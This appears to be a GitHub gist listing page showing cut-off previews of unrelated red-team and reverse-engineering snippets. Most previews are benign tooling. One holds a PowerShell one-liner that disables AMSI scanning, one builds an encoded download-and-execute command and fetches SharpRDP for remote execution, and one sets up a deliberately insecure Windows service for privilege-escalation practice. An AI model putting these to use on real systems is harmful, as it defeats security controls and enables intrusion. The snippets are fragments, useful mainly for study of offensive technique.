This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Java.perform(function () { | |
var AAssetManager_open = Module.findExportByName("libandroid.so", "AAssetManager_open"); | |
var AAsset_read = Module.findExportByName("libandroid.so", "AAsset_read"); | |
var AAsset_getLength = Module.findExportByName("libandroid.so", "AAsset_getLength"); | |
if (AAssetManager_open && AAsset_read && AAsset_getLength) { | |
console.log("[*] Hooking AAssetManager_open..."); | |
Interceptor.attach(AAssetManager_open, { | |
onEnter: function (args) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DWORD __fastcall sub_140006190() // renamed to golden_function | |
... | |
v12 = sub_140007980(); // Get handle info | |
if ( v12 ) | |
{ | |
logger_0(L"Error obtaining handle information: "); | |
if ( v12 == -1073741790 ) | |
{ | |
logger_0(L"Access denied\n\n"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
uint32_t get_sip(void) { | |
const char *sip_path = "/usr/lib/libSystem.dylib"; | |
const char *sip_function = "csr_get_active_config"; | |
void *libSystem = dlopen(sip_path, RTLD_LAZY); | |
if (!libSystem) { | |
printf("get_sip: Error loading libSystem.dylib\n"); | |
return -1; | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Function RunDevShell { | |
Import-Module "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"; | |
Enter-VsDevShell ba5e788f -StartInPath $PWD | |
} | |
Set-Alias -Name DevShell -Value RunDevShell |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
format PE console 4.0 | |
include 'win32ax.inc' | |
section '.text' code readable executable | |
entry start | |
macro PrintPointer reg,string | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Patch API | |
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int33[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1) | |
# Check if current user has permissions | |
# to write in C:\Windows\Tasks otherwise | |
# use public. | |
$Folder = "C:\Windows\Tasks" | |
$global:recondir = "" | |
$permission = (Get-Acl $Folder).Access | ?{$_.IdentityReference -match $env:USERNAME} | Select IdentityReference,FileSystemRights | |
If ($permission){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
using System.IO; | |
using System.Net; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
using System.Threading; | |
using System.Collections.Generic; | |
using System.Text.RegularExpressions; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-PowershellAgent { | |
[CmdletBinding()] | |
param ( | |
[Parameter(Mandatory=$true)][string]$computer, | |
[Parameter(Mandatory=$true)][string]$username, | |
[Parameter(Mandatory=$true)][string]$password | |
) | |
$download_exec_agent = "C:\windows\system32\cmd.exe /c powershell -bypass exec -enc POWERSHELL_B64_AGENT" | |
$asm = Invoke-WebRequest -URI 'http://127.0.0.1/SharpRDP.exe' -UseBasicParsing | Select-Object -ExpandProperty Content |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function CreateVulnerableService { | |
$params = @{ | |
Name = "P0wnMe" | |
BinaryPathName = "C:\foobar.exe" | |
} | |
New-Service @params -ErrorAction SilentlyContinue | |
sc.exe sdset P0wnMe "D:(A;;CCLCSWLORCRPDTCRWDWOWPDCSD;;;AU)" | |
} | |
function RemoveVulnerableService { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Python.h> | |
#include <windows.h> | |
#pragma comment(lib,"kernel32.lib") | |
static PyObject* isValidPE(PyObject *self, PyObject* args) | |
{ | |
LPSTR pfile = NULL; | |
if(!PyArg_ParseTuple(args, "s", &pfile)) |